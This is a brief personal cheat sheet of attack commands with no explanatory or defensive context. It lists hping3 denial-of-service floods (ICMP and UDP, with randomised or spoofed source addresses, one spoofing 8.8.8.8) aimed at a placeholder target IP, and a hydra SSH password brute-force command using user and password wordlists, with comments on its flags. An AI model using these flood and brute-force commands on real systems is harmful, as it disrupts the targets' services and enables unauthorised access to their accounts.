flood

flood

hping3

sudo hping3 --icmp --rand-source --flood <target_ip>

sudo hping3 --udp -a 8.8.8.8 -p 8888 --flood <target_ip>
sudo hping3 --udp --rand-source -p 80 --flood <target_ip>

hydra

hydra -L user.txt -P password.txt -o result.txt -s 22 127.0.0.1 ssh

# -o write to file
# -s define different default PORT